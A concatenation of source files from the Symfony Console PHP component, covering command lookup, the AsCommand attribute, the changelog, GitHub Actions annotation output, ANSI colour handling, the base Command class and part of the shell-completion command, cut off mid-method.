1e3; $alternatives = []; $collectionParts = []; foreach ($collection as $item) { $collectionParts[$item] = explode(':', $item); } foreach (explode(':', $name) as $i => $subname) { foreach ($collectionParts as $collectionName => $parts) { $exists = isset($alternatives[$collectionName]); if (!isset($parts[$i]) && $exists) { $alternatives[$collectionName] += $threshold; continue; } elseif (!isset($parts[$i])) { continue; } $lev = levenshtein($subname, $parts[$i]); if ($lev <= \strlen($subname) / 3 || '' !== $subname && str_contains($parts[$i], $subname)) { $alternatives[$collectionName] = $exists ? $alternatives[$collectionName] + $lev : $lev; } elseif ($exists) { $alternatives[$collectionName] += $threshold; } } } foreach ($collection as $item) { $lev = levenshtein($name, $item); if ($lev <= \strlen($name) / 3 || str_contains($item, $name)) { $alternatives[$item] = isset($alternatives[$item]) ? $alternatives[$item] - $lev : $lev; } } $alternatives = array_filter($alternatives, function ($lev) use ($threshold) { return $lev < 2 * $threshold; }); ksort($alternatives, \SORT_NATURAL | \SORT_FLAG_CASE); return array_keys($alternatives); } /** * Sets the default Command name. * * @return $this */ public function setDefaultCommand(string $commandName, bool $isSingleCommand = false) { $this->defaultCommand = explode('|', ltrim($commandName, '|'))[0]; if ($isSingleCommand) { // Ensure the command exist $this->find($commandName); $this->singleCommand = true; } return $this; } /** * @internal */ public function isSingleCommand(): bool { return $this->singleCommand; } private function splitStringByWidth(string $string, int $width): array { // str_split is not suitable for multi-byte characters, we should use preg_split to get char array properly. // additionally, array_slice() is not enough as some character has doubled width. // we need a function to split string not by character count but by string width if (false === $encoding = mb_detect_encoding($string, null, true)) { return str_split($string, $width); } $utf8String = mb_convert_encoding($string, 'utf8', $encoding); $lines = []; $line = ''; $offset = 0; while (preg_match('/.{1,10000}/u', $utf8String, $m, 0, $offset)) { $offset += \strlen($m[0]); foreach (preg_split('//u', $m[0]) as $char) { // test if $char could be appended to current line if (mb_strwidth($line.$char, 'utf8') <= $width) { $line .= $char; continue; } // if not, push current line to array and make new line $lines[] = str_pad($line, $width); $line = $char; } } $lines[] = \count($lines) ? str_pad($line, $width) : $line; mb_convert_variables($encoding, 'utf8', $lines); return $lines; } /** * Returns all namespaces of the command name. * * @return string[] */ private function extractAllNamespaces(string $name): array { // -1 as third argument is needed to skip the command short name when exploding $parts = explode(':', $name, -1); $namespaces = []; foreach ($parts as $part) { if (\count($namespaces)) { $namespaces[] = end($namespaces).':'.$part; } else { $namespaces[] = $part; } } return $namespaces; } private function init() { if ($this->initialized) { return; } $this->initialized = true; foreach ($this->getDefaultCommands() as $command) { $this->add($command); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Attribute; /** * Service tag to autoconfigure commands. */ #[\Attribute(\Attribute::TARGET_CLASS)] class AsCommand { public function __construct( public string $name, public ?string $description = null, array $aliases = [], bool $hidden = false, ) { if (!$hidden && !$aliases) { return; } $name = explode('|', $name); $name = array_merge($name, $aliases); if ($hidden && '' !== $name[0]) { array_unshift($name, ''); } $this->name = implode('|', $name); } } CHANGELOG ========= 5.4 --- * Add `TesterTrait::assertCommandIsSuccessful()` to test command * Deprecate `HelperSet::setCommand()` and `getCommand()` without replacement 5.3 --- * Add `GithubActionReporter` to render annotations in a Github Action * Add `InputOption::VALUE_NEGATABLE` flag to handle `--foo`/`--no-foo` options * Add the `Command::$defaultDescription` static property and the `description` attribute on the `console.command` tag to allow the `list` command to instantiate commands lazily * Add option `--short` to the `list` command * Add support for bright colors * Add `#[AsCommand]` attribute for declaring commands on PHP 8 * Add `Helper::width()` and `Helper::length()` * The `--ansi` and `--no-ansi` options now default to `null`. 5.2.0 ----- * Added `SingleCommandApplication::setAutoExit()` to allow testing via `CommandTester` * added support for multiline responses to questions through `Question::setMultiline()` and `Question::isMultiline()` * Added `SignalRegistry` class to stack signals handlers * Added support for signals: * Added `Application::getSignalRegistry()` and `Application::setSignalsToDispatchEvent()` methods * Added `SignalableCommandInterface` interface * Added `TableCellStyle` class to customize table cell * Removed `php ` prefix invocation from help messages. 5.1.0 ----- * `Command::setHidden()` is final since Symfony 5.1 * Add `SingleCommandApplication` * Add `Cursor` class 5.0.0 ----- * removed support for finding hidden commands using an abbreviation, use the full name instead * removed `TableStyle::setCrossingChar()` method in favor of `TableStyle::setDefaultCrossingChar()` * removed `TableStyle::setHorizontalBorderChar()` method in favor of `TableStyle::setDefaultCrossingChars()` * removed `TableStyle::getHorizontalBorderChar()` method in favor of `TableStyle::getBorderChars()` * removed `TableStyle::setVerticalBorderChar()` method in favor of `TableStyle::setVerticalBorderChars()` * removed `TableStyle::getVerticalBorderChar()` method in favor of `TableStyle::getBorderChars()` * removed support for returning `null` from `Command::execute()`, return `0` instead * `ProcessHelper::run()` accepts only `array|Symfony\Component\Process\Process` for its `command` argument * `Application::setDispatcher` accepts only `Symfony\Contracts\EventDispatcher\EventDispatcherInterface` for its `dispatcher` argument * renamed `Application::renderException()` and `Application::doRenderException()` to `renderThrowable()` and `doRenderThrowable()` respectively. 4.4.0 ----- * deprecated finding hidden commands using an abbreviation, use the full name instead * added `Question::setTrimmable` default to true to allow the answer to be trimmed * added method `minSecondsBetweenRedraws()` and `maxSecondsBetweenRedraws()` on `ProgressBar` * `Application` implements `ResetInterface` * marked all dispatched event classes as `@final` * added support for displaying table horizontally * deprecated returning `null` from `Command::execute()`, return `0` instead * Deprecated the `Application::renderException()` and `Application::doRenderException()` methods, use `renderThrowable()` and `doRenderThrowable()` instead. * added support for the `NO_COLOR` env var (https://no-color.org/) 4.3.0 ----- * added support for hyperlinks * added `ProgressBar::iterate()` method that simplify updating the progress bar when iterating * added `Question::setAutocompleterCallback()` to provide a callback function that dynamically generates suggestions as the user types 4.2.0 ----- * allowed passing commands as `[$process, 'ENV_VAR' => 'value']` to `ProcessHelper::run()` to pass environment variables * deprecated passing a command as a string to `ProcessHelper::run()`, pass it the command as an array of its arguments instead * made the `ProcessHelper` class final * added `WrappableOutputFormatterInterface::formatAndWrap()` (implemented in `OutputFormatter`) * added `capture_stderr_separately` option to `CommandTester::execute()` 4.1.0 ----- * added option to run suggested command if command is not found and only 1 alternative is available * added option to modify console output and print multiple modifiable sections * added support for iterable messages in output `write` and `writeln` methods 4.0.0 ----- * `OutputFormatter` throws an exception when unknown options are used * removed `QuestionHelper::setInputStream()/getInputStream()` * removed `Application::getTerminalWidth()/getTerminalHeight()` and `Application::setTerminalDimensions()/getTerminalDimensions()` * removed `ConsoleExceptionEvent` * removed `ConsoleEvents::EXCEPTION` 3.4.0 ----- * added `SHELL_VERBOSITY` env var to control verbosity * added `CommandLoaderInterface`, `FactoryCommandLoader` and PSR-11 `ContainerCommandLoader` for commands lazy-loading * added a case-insensitive command name matching fallback * added static `Command::$defaultName/getDefaultName()`, allowing for commands to be registered at compile time in the application command loader. Setting the `$defaultName` property avoids the need for filling the `command` attribute on the `console.command` tag when using `AddConsoleCommandPass`. 3.3.0 ----- * added `ExceptionListener` * added `AddConsoleCommandPass` (originally in FrameworkBundle) * [BC BREAK] `Input::getOption()` no longer returns the default value for options with value optional explicitly passed empty * added console.error event to catch exceptions thrown by other listeners * deprecated console.exception event in favor of console.error * added ability to handle `CommandNotFoundException` through the `console.error` event * deprecated default validation in `SymfonyQuestionHelper::ask` 3.2.0 ------ * added `setInputs()` method to CommandTester for ease testing of commands expecting inputs * added `setStream()` and `getStream()` methods to Input (implement StreamableInputInterface) * added StreamableInputInterface * added LockableTrait 3.1.0 ----- * added truncate method to FormatterHelper * added setColumnWidth(s) method to Table 2.8.3 ----- * remove readline support from the question helper as it caused issues 2.8.0 ----- * use readline for user input in the question helper when available to allow the use of arrow keys 2.6.0 ----- * added a Process helper * added a DebugFormatter helper 2.5.0 ----- * deprecated the dialog helper (use the question helper instead) * deprecated TableHelper in favor of Table * deprecated ProgressHelper in favor of ProgressBar * added ConsoleLogger * added a question helper * added a way to set the process name of a command * added a way to set a default command instead of `ListCommand` 2.4.0 ----- * added a way to force terminal dimensions * added a convenient method to detect verbosity level * [BC BREAK] made descriptors use output instead of returning a string 2.3.0 ----- * added multiselect support to the select dialog helper * added Table Helper for tabular data rendering * added support for events in `Application` * added a way to normalize EOLs in `ApplicationTester::getDisplay()` and `CommandTester::getDisplay()` * added a way to set the progress bar progress via the `setCurrent` method * added support for multiple InputOption shortcuts, written as `'-a|-b|-c'` * added two additional verbosity levels, VERBOSITY_VERY_VERBOSE and VERBOSITY_DEBUG 2.2.0 ----- * added support for colorization on Windows via ConEmu * add a method to Dialog Helper to ask for a question and hide the response * added support for interactive selections in console (DialogHelper::select()) * added support for autocompletion as you type in Dialog Helper 2.1.0 ----- * added ConsoleOutputInterface * added the possibility to disable a command (Command::isEnabled()) * added suggestions when a command does not exist * added a --raw option to the list command * added support for STDERR in the console output class (errors are now sent to STDERR) * made the defaults (helper set, commands, input definition) in Application more easily customizable * added support for the shell even if readline is not available * added support for process isolation in Symfony shell via `--process-isolation` switch * added support for `--`, which disables options parsing after that point (tokens will be parsed as arguments) * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\CI; use Symfony\Component\Console\Output\OutputInterface; /** * Utility class for Github actions. * * @author Maxime Steinhausser */ class GithubActionReporter { private $output; /** * @see https://github.com/actions/toolkit/blob/5e5e1b7aacba68a53836a34db4a288c3c1c1585b/packages/core/src/command.ts#L80-L85 */ private const ESCAPED_DATA = [ '%' => '%25', "\r" => '%0D', "\n" => '%0A', ]; /** * @see https://github.com/actions/toolkit/blob/5e5e1b7aacba68a53836a34db4a288c3c1c1585b/packages/core/src/command.ts#L87-L94 */ private const ESCAPED_PROPERTIES = [ '%' => '%25', "\r" => '%0D', "\n" => '%0A', ':' => '%3A', ',' => '%2C', ]; public function __construct(OutputInterface $output) { $this->output = $output; } public static function isGithubActionEnvironment(): bool { return false !== getenv('GITHUB_ACTIONS'); } /** * Output an error using the Github annotations format. * * @see https://docs.github.com/en/free-pro-team@latest/actions/reference/workflow-commands-for-github-actions#setting-an-error-message */ public function error(string $message, ?string $file = null, ?int $line = null, ?int $col = null): void { $this->log('error', $message, $file, $line, $col); } /** * Output a warning using the Github annotations format. * * @see https://docs.github.com/en/free-pro-team@latest/actions/reference/workflow-commands-for-github-actions#setting-a-warning-message */ public function warning(string $message, ?string $file = null, ?int $line = null, ?int $col = null): void { $this->log('warning', $message, $file, $line, $col); } /** * Output a debug log using the Github annotations format. * * @see https://docs.github.com/en/free-pro-team@latest/actions/reference/workflow-commands-for-github-actions#setting-a-debug-message */ public function debug(string $message, ?string $file = null, ?int $line = null, ?int $col = null): void { $this->log('debug', $message, $file, $line, $col); } private function log(string $type, string $message, ?string $file = null, ?int $line = null, ?int $col = null): void { // Some values must be encoded. $message = strtr($message, self::ESCAPED_DATA); if (!$file) { // No file provided, output the message solely: $this->output->writeln(sprintf('::%s::%s', $type, $message)); return; } $this->output->writeln(sprintf('::%s file=%s,line=%s,col=%s::%s', $type, strtr($file, self::ESCAPED_PROPERTIES), strtr($line ?? 1, self::ESCAPED_PROPERTIES), strtr($col ?? 0, self::ESCAPED_PROPERTIES), $message)); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console; use Symfony\Component\Console\Exception\InvalidArgumentException; /** * @author Fabien Potencier */ final class Color { private const COLORS = [ 'black' => 0, 'red' => 1, 'green' => 2, 'yellow' => 3, 'blue' => 4, 'magenta' => 5, 'cyan' => 6, 'white' => 7, 'default' => 9, ]; private const BRIGHT_COLORS = [ 'gray' => 0, 'bright-red' => 1, 'bright-green' => 2, 'bright-yellow' => 3, 'bright-blue' => 4, 'bright-magenta' => 5, 'bright-cyan' => 6, 'bright-white' => 7, ]; private const AVAILABLE_OPTIONS = [ 'bold' => ['set' => 1, 'unset' => 22], 'underscore' => ['set' => 4, 'unset' => 24], 'blink' => ['set' => 5, 'unset' => 25], 'reverse' => ['set' => 7, 'unset' => 27], 'conceal' => ['set' => 8, 'unset' => 28], ]; private $foreground; private $background; private $options = []; public function __construct(string $foreground = '', string $background = '', array $options = []) { $this->foreground = $this->parseColor($foreground); $this->background = $this->parseColor($background, true); foreach ($options as $option) { if (!isset(self::AVAILABLE_OPTIONS[$option])) { throw new InvalidArgumentException(sprintf('Invalid option specified: "%s". Expected one of (%s).', $option, implode(', ', array_keys(self::AVAILABLE_OPTIONS)))); } $this->options[$option] = self::AVAILABLE_OPTIONS[$option]; } } public function apply(string $text): string { return $this->set().$text.$this->unset(); } public function set(): string { $setCodes = []; if ('' !== $this->foreground) { $setCodes[] = $this->foreground; } if ('' !== $this->background) { $setCodes[] = $this->background; } foreach ($this->options as $option) { $setCodes[] = $option['set']; } if (0 === \count($setCodes)) { return ''; } return sprintf("\033[%sm", implode(';', $setCodes)); } public function unset(): string { $unsetCodes = []; if ('' !== $this->foreground) { $unsetCodes[] = 39; } if ('' !== $this->background) { $unsetCodes[] = 49; } foreach ($this->options as $option) { $unsetCodes[] = $option['unset']; } if (0 === \count($unsetCodes)) { return ''; } return sprintf("\033[%sm", implode(';', $unsetCodes)); } private function parseColor(string $color, bool $background = false): string { if ('' === $color) { return ''; } if ('#' === $color[0]) { $color = substr($color, 1); if (3 === \strlen($color)) { $color = $color[0].$color[0].$color[1].$color[1].$color[2].$color[2]; } if (6 !== \strlen($color)) { throw new InvalidArgumentException(sprintf('Invalid "%s" color.', $color)); } return ($background ? '4' : '3').$this->convertHexColorToAnsi(hexdec($color)); } if (isset(self::COLORS[$color])) { return ($background ? '4' : '3').self::COLORS[$color]; } if (isset(self::BRIGHT_COLORS[$color])) { return ($background ? '10' : '9').self::BRIGHT_COLORS[$color]; } throw new InvalidArgumentException(sprintf('Invalid "%s" color; expected one of (%s).', $color, implode(', ', array_merge(array_keys(self::COLORS), array_keys(self::BRIGHT_COLORS))))); } private function convertHexColorToAnsi(int $color): string { $r = ($color >> 16) & 255; $g = ($color >> 8) & 255; $b = $color & 255; // see https://github.com/termstandard/colors/ for more information about true color support if ('truecolor' !== getenv('COLORTERM')) { return (string) $this->degradeHexColorToAnsi($r, $g, $b); } return sprintf('8;2;%d;%d;%d', $r, $g, $b); } private function degradeHexColorToAnsi(int $r, int $g, int $b): int { if (0 === round($this->getSaturation($r, $g, $b) / 50)) { return 0; } return (round($b / 255) << 2) | (round($g / 255) << 1) | round($r / 255); } private function getSaturation(int $r, int $g, int $b): int { $r = $r / 255; $g = $g / 255; $b = $b / 255; $v = max($r, $g, $b); if (0 === $diff = $v - min($r, $g, $b)) { return 0; } return (int) $diff * 100 / $v; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Command; use Symfony\Component\Console\Application; use Symfony\Component\Console\Attribute\AsCommand; use Symfony\Component\Console\Completion\CompletionInput; use Symfony\Component\Console\Completion\CompletionSuggestions; use Symfony\Component\Console\Exception\ExceptionInterface; use Symfony\Component\Console\Exception\InvalidArgumentException; use Symfony\Component\Console\Exception\LogicException; use Symfony\Component\Console\Helper\HelperSet; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputDefinition; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; /** * Base class for all commands. * * @author Fabien Potencier */ class Command { // see https://tldp.org/LDP/abs/html/exitcodes.html public const SUCCESS = 0; public const FAILURE = 1; public const INVALID = 2; /** * @var string|null The default command name */ protected static $defaultName; /** * @var string|null The default command description */ protected static $defaultDescription; private $application; private $name; private $processTitle; private $aliases = []; private $definition; private $hidden = false; private $help = ''; private $description = ''; private $fullDefinition; private $ignoreValidationErrors = false; private $code; private $synopsis = []; private $usages = []; private $helperSet; /** * @return string|null */ public static function getDefaultName() { $class = static::class; if (\PHP_VERSION_ID >= 80000 && $attribute = (new \ReflectionClass($class))->getAttributes(AsCommand::class)) { return $attribute[0]->newInstance()->name; } $r = new \ReflectionProperty($class, 'defaultName'); return $class === $r->class ? static::$defaultName : null; } public static function getDefaultDescription(): ?string { $class = static::class; if (\PHP_VERSION_ID >= 80000 && $attribute = (new \ReflectionClass($class))->getAttributes(AsCommand::class)) { return $attribute[0]->newInstance()->description; } $r = new \ReflectionProperty($class, 'defaultDescription'); return $class === $r->class ? static::$defaultDescription : null; } /** * @param string|null $name The name of the command; passing null means it must be set in configure() * * @throws LogicException When the command name is empty */ public function __construct(?string $name = null) { $this->definition = new InputDefinition(); if (null === $name && null !== $name = static::getDefaultName()) { $aliases = explode('|', $name); if ('' === $name = array_shift($aliases)) { $this->setHidden(true); $name = array_shift($aliases); } $this->setAliases($aliases); } if (null !== $name) { $this->setName($name); } if ('' === $this->description) { $this->setDescription(static::getDefaultDescription() ?? ''); } $this->configure(); } /** * Ignores validation errors. * * This is mainly useful for the help command. */ public function ignoreValidationErrors() { $this->ignoreValidationErrors = true; } public function setApplication(?Application $application = null) { $this->application = $application; if ($application) { $this->setHelperSet($application->getHelperSet()); } else { $this->helperSet = null; } $this->fullDefinition = null; } public function setHelperSet(HelperSet $helperSet) { $this->helperSet = $helperSet; } /** * Gets the helper set. * * @return HelperSet|null */ public function getHelperSet() { return $this->helperSet; } /** * Gets the application instance for this command. * * @return Application|null */ public function getApplication() { return $this->application; } /** * Checks whether the command is enabled or not in the current environment. * * Override this to check for x or y and return false if the command cannot * run properly under the current conditions. * * @return bool */ public function isEnabled() { return true; } /** * Configures the current command. */ protected function configure() { } /** * Executes the current command. * * This method is not abstract because you can use this class * as a concrete class. In this case, instead of defining the * execute() method, you set the code to execute by passing * a Closure to the setCode() method. * * @return int 0 if everything went fine, or an exit code * * @throws LogicException When this abstract method is not implemented * * @see setCode() */ protected function execute(InputInterface $input, OutputInterface $output) { throw new LogicException('You must override the execute() method in the concrete command class.'); } /** * Interacts with the user. * * This method is executed before the InputDefinition is validated. * This means that this is the only place where the command can * interactively ask for values of missing required arguments. */ protected function interact(InputInterface $input, OutputInterface $output) { } /** * Initializes the command after the input has been bound and before the input * is validated. * * This is mainly useful when a lot of commands extends one main command * where some things need to be initialized based on the input arguments and options. * * @see InputInterface::bind() * @see InputInterface::validate() */ protected function initialize(InputInterface $input, OutputInterface $output) { } /** * Runs the command. * * The code to execute is either defined directly with the * setCode() method or by overriding the execute() method * in a sub-class. * * @return int The command exit code * * @throws ExceptionInterface When input binding fails. Bypass this by calling {@link ignoreValidationErrors()}. * * @see setCode() * @see execute() */ public function run(InputInterface $input, OutputInterface $output) { // add the application arguments and options $this->mergeApplicationDefinition(); // bind the input against the command specific arguments/options try { $input->bind($this->getDefinition()); } catch (ExceptionInterface $e) { if (!$this->ignoreValidationErrors) { throw $e; } } $this->initialize($input, $output); if (null !== $this->processTitle) { if (\function_exists('cli_set_process_title')) { if (!@cli_set_process_title($this->processTitle)) { if ('Darwin' === \PHP_OS) { $output->writeln('Running "cli_set_process_title" as an unprivileged user is not supported on MacOS.', OutputInterface::VERBOSITY_VERY_VERBOSE); } else { cli_set_process_title($this->processTitle); } } } elseif (\function_exists('setproctitle')) { setproctitle($this->processTitle); } elseif (OutputInterface::VERBOSITY_VERY_VERBOSE === $output->getVerbosity()) { $output->writeln('Install the proctitle PECL to be able to change the process title.'); } } if ($input->isInteractive()) { $this->interact($input, $output); } // The command name argument is often omitted when a command is executed directly with its run() method. // It would fail the validation if we didn't make sure the command argument is present, // since it's required by the application. if ($input->hasArgument('command') && null === $input->getArgument('command')) { $input->setArgument('command', $this->getName()); } $input->validate(); if ($this->code) { $statusCode = ($this->code)($input, $output); } else { $statusCode = $this->execute($input, $output); if (!\is_int($statusCode)) { throw new \TypeError(sprintf('Return value of "%s::execute()" must be of the type int, "%s" returned.', static::class, get_debug_type($statusCode))); } } return is_numeric($statusCode) ? (int) $statusCode : 0; } /** * Adds suggestions to $suggestions for the current completion input (e.g. option or argument). */ public function complete(CompletionInput $input, CompletionSuggestions $suggestions): void { } /** * Sets the code to execute when running this command. * * If this method is used, it overrides the code defined * in the execute() method. * * @param callable $code A callable(InputInterface $input, OutputInterface $output) * * @return $this * * @throws InvalidArgumentException * * @see execute() */ public function setCode(callable $code) { if ($code instanceof \Closure) { $r = new \ReflectionFunction($code); if (null === $r->getClosureThis()) { set_error_handler(static function () {}); try { if ($c = \Closure::bind($code, $this)) { $code = $c; } } finally { restore_error_handler(); } } } $this->code = $code; return $this; } /** * Merges the application definition with the command definition. * * This method is not part of public API and should not be used directly. * * @param bool $mergeArgs Whether to merge or not the Application definition arguments to Command definition arguments * * @internal */ public function mergeApplicationDefinition(bool $mergeArgs = true) { if (null === $this->application) { return; } $this->fullDefinition = new InputDefinition(); $this->fullDefinition->setOptions($this->definition->getOptions()); $this->fullDefinition->addOptions($this->application->getDefinition()->getOptions()); if ($mergeArgs) { $this->fullDefinition->setArguments($this->application->getDefinition()->getArguments()); $this->fullDefinition->addArguments($this->definition->getArguments()); } else { $this->fullDefinition->setArguments($this->definition->getArguments()); } } /** * Sets an array of argument and option instances. * * @param array|InputDefinition $definition An array of argument and option instances or a definition instance * * @return $this */ public function setDefinition($definition) { if ($definition instanceof InputDefinition) { $this->definition = $definition; } else { $this->definition->setDefinition($definition); } $this->fullDefinition = null; return $this; } /** * Gets the InputDefinition attached to this Command. * * @return InputDefinition */ public function getDefinition() { return $this->fullDefinition ?? $this->getNativeDefinition(); } /** * Gets the InputDefinition to be used to create representations of this Command. * * Can be overridden to provide the original command representation when it would otherwise * be changed by merging with the application InputDefinition. * * This method is not part of public API and should not be used directly. * * @return InputDefinition */ public function getNativeDefinition() { if (null === $this->definition) { throw new LogicException(sprintf('Command class "%s" is not correctly initialized. You probably forgot to call the parent constructor.', static::class)); } return $this->definition; } /** * Adds an argument. * * @param int|null $mode The argument mode: InputArgument::REQUIRED or InputArgument::OPTIONAL * @param mixed $default The default value (for InputArgument::OPTIONAL mode only) * * @return $this * * @throws InvalidArgumentException When argument mode is not valid */ public function addArgument(string $name, ?int $mode = null, string $description = '', $default = null) { $this->definition->addArgument(new InputArgument($name, $mode, $description, $default)); if (null !== $this->fullDefinition) { $this->fullDefinition->addArgument(new InputArgument($name, $mode, $description, $default)); } return $this; } /** * Adds an option. * * @param string|array|null $shortcut The shortcuts, can be null, a string of shortcuts delimited by | or an array of shortcuts * @param int|null $mode The option mode: One of the InputOption::VALUE_* constants * @param mixed $default The default value (must be null for InputOption::VALUE_NONE) * * @return $this * * @throws InvalidArgumentException If option mode is invalid or incompatible */ public function addOption(string $name, $shortcut = null, ?int $mode = null, string $description = '', $default = null) { $this->definition->addOption(new InputOption($name, $shortcut, $mode, $description, $default)); if (null !== $this->fullDefinition) { $this->fullDefinition->addOption(new InputOption($name, $shortcut, $mode, $description, $default)); } return $this; } /** * Sets the name of the command. * * This method can set both the namespace and the name if * you separate them by a colon (:) * * $command->setName('foo:bar'); * * @return $this * * @throws InvalidArgumentException When the name is invalid */ public function setName(string $name) { $this->validateName($name); $this->name = $name; return $this; } /** * Sets the process title of the command. * * This feature should be used only when creating a long process command, * like a daemon. * * @return $this */ public function setProcessTitle(string $title) { $this->processTitle = $title; return $this; } /** * Returns the command name. * * @return string|null */ public function getName() { return $this->name; } /** * @param bool $hidden Whether or not the command should be hidden from the list of commands * The default value will be true in Symfony 6.0 * * @return $this * * @final since Symfony 5.1 */ public function setHidden(bool $hidden /* = true */) { $this->hidden = $hidden; return $this; } /** * @return bool whether the command should be publicly shown or not */ public function isHidden() { return $this->hidden; } /** * Sets the description for the command. * * @return $this */ public function setDescription(string $description) { $this->description = $description; return $this; } /** * Returns the description for the command. * * @return string */ public function getDescription() { return $this->description; } /** * Sets the help for the command. * * @return $this */ public function setHelp(string $help) { $this->help = $help; return $this; } /** * Returns the help for the command. * * @return string */ public function getHelp() { return $this->help; } /** * Returns the processed help for the command replacing the %command.name% and * %command.full_name% patterns with the real values dynamically. * * @return string */ public function getProcessedHelp() { $name = $this->name; $isSingleCommand = $this->application && $this->application->isSingleCommand(); $placeholders = [ '%command.name%', '%command.full_name%', ]; $replacements = [ $name, $isSingleCommand ? $_SERVER['PHP_SELF'] : $_SERVER['PHP_SELF'].' '.$name, ]; return str_replace($placeholders, $replacements, $this->getHelp() ?: $this->getDescription()); } /** * Sets the aliases for the command. * * @param string[] $aliases An array of aliases for the command * * @return $this * * @throws InvalidArgumentException When an alias is invalid */ public function setAliases(iterable $aliases) { $list = []; foreach ($aliases as $alias) { $this->validateName($alias); $list[] = $alias; } $this->aliases = \is_array($aliases) ? $aliases : $list; return $this; } /** * Returns the aliases for the command. * * @return array */ public function getAliases() { return $this->aliases; } /** * Returns the synopsis for the command. * * @param bool $short Whether to show the short version of the synopsis (with options folded) or not * * @return string */ public function getSynopsis(bool $short = false) { $key = $short ? 'short' : 'long'; if (!isset($this->synopsis[$key])) { $this->synopsis[$key] = trim(sprintf('%s %s', $this->name, $this->definition->getSynopsis($short))); } return $this->synopsis[$key]; } /** * Add a command usage example, it'll be prefixed with the command name. * * @return $this */ public function addUsage(string $usage) { if (!str_starts_with($usage, $this->name)) { $usage = sprintf('%s %s', $this->name, $usage); } $this->usages[] = $usage; return $this; } /** * Returns alternative usages of the command. * * @return array */ public function getUsages() { return $this->usages; } /** * Gets a helper instance by name. * * @return mixed * * @throws LogicException if no HelperSet is defined * @throws InvalidArgumentException if the helper is not defined */ public function getHelper(string $name) { if (null === $this->helperSet) { throw new LogicException(sprintf('Cannot retrieve helper "%s" because there is no HelperSet defined. Did you forget to add your command to the application or to set the application on the command using the setApplication() method? You can also set the HelperSet directly using the setHelperSet() method.', $name)); } return $this->helperSet->get($name); } /** * Validates a command name. * * It must be non-empty and parts can optionally be separated by ":". * * @throws InvalidArgumentException When the name is invalid */ private function validateName(string $name) { if (!preg_match('/^[^\:]++(\:[^\:]++)*$/', $name)) { throw new InvalidArgumentException(sprintf('Command name "%s" is invalid.', $name)); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Command; use Symfony\Component\Console\Completion\CompletionInput; use Symfony\Component\Console\Completion\CompletionSuggestions; use Symfony\Component\Console\Completion\Output\BashCompletionOutput; use Symfony\Component\Console\Completion\Output\CompletionOutputInterface; use Symfony\Component\Console\Exception\CommandNotFoundException; use Symfony\Component\Console\Exception\ExceptionInterface; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; /** * Responsible for providing the values to the shell completion. * * @author Wouter de Jong */ final class CompleteCommand extends Command { protected static $defaultName = '|_complete'; protected static $defaultDescription = 'Internal command to provide shell completion suggestions'; private $completionOutputs; private $isDebug = false; /** * @param array> $completionOutputs A list of additional completion outputs, with shell name as key and FQCN as value */ public function __construct(array $completionOutputs = []) { // must be set before the parent constructor, as the property value is used in configure() $this->completionOutputs = $completionOutputs + ['bash' => BashCompletionOutput::class]; parent::__construct(); } protected function configure(): void { $this ->addOption('shell', 's', InputOption::VALUE_REQUIRED, 'The shell type ("'.implode('", "', array_keys($this->completionOutputs)).'")') ->addOption('input', 'i', InputOption::VALUE_REQUIRED | InputOption::VALUE_IS_ARRAY, 'An array of input tokens (e.g. COMP_WORDS or argv)') ->addOption('current', 'c', InputOption::VALUE_REQUIRED, 'The index of the "input" array that the cursor is in (e.g. COMP_CWORD)') ->addOption('symfony', 'S', InputOption::VALUE_REQUIRED, 'The version of the completion script') ; } protected function initialize(InputInterface $input, OutputInterface $output) { $this->isDebug = filter_var(getenv('SYMFONY_COMPLETION_DEBUG'), \FILTER_VALIDATE_BOOLEAN); } protected function execute(InputInterface $input, OutputInterface $output): int { try { // uncomment when a bugfix or BC break has been introduced in the shell completion scripts // $version = $input->getOption('symfony'); // if ($version && version_compare($version, 'x.y', '>=')) { // $message = sprintf('Completion script version is not supported ("%s" given, ">=x.y" required).', $version); // $this->log($message); // $output->writeln($message.' Install the Symfony completion script again by using the "completion" command.'); // return 126; // } $shell = $input->getOption('shell'); if (!$shell) { throw new \RuntimeException('The "--shell" option must be set.'); } if (!$completionOutput = $this->completionOutputs[$shell] ?? false) { throw new \RuntimeException(sprintf('Shell completion is not supported for your shell: "%s" (supported: "%s").', $shell, implode('", "', array_keys($this->completionOutputs)))); } $completionInput = $this->createCompletionInput($input); $suggestions = new CompletionSuggestions(); $this->log([ '', ''.date('Y-m-d H:i:s').'', 'Input: ("|" indicates the cursor position)', ' '.(string) $completionInput, 'Command:', ' '.(string) implode(' ', $_SERVER['argv']), 'Messages:', ]); $command = $this->findCommand($completionInput, $output); if (null === $command) { $this->log(' No command found, completing using the Application class.'); $this->getApplication()->complete($completionInput, $suggestions); } elseif ( $completionInput->mustSuggestArgumentValuesFor('command') && $command->getName() !== $completionInput->getCompletionValue() && !\in_array($completionInput->getCompletionValue(), $command->getAliases(), true) ) { $this->log(' No command found, completing using the Application class.'); // expand shortcut names ("cache:cl") into their full name ("cache:clear") $suggestions->suggestValues(array_filter(array_merge([$command->getName()], $command->getAliases()))); } else { $command->mergeApplicationDefinition(); $completionInput->bind($command->getDefinition()); if (CompletionInput::TYPE_OPTION_NAME === $completionInput->getCompletionType()) { $this->log(' Completing option names for the '.\get_class($command instanceof LazyCommand ? $command->getCommand() : $command).' command.'); $suggestions->suggestOptions($command->getDefinition()->getOptions()); } else { $this->log([ ' Completing using the '.\get_class($command instanceof LazyCommand ? $command->getCommand() : $command).' class.', ' Completing '.$completionInput->getCompletionType().' for '.$completionInput->getCompletionName().'', ]); if (null !== $compval = $completionInput->getCompletionValue()) { $this->log(' Current value: '.$compval.''); } $command->complete($completionInput, $suggestions); } } /** @var CompletionOutputInterface $completionOutput */ $completionOutput = new $completionOutput(); $this->log('Suggestions:'); if ($options = $suggestions->getOptionSuggestions()) { $this->log(' --'.implode(' --', array_map(function ($o) { return $o->getName(); }, $options))); } elseif ($values 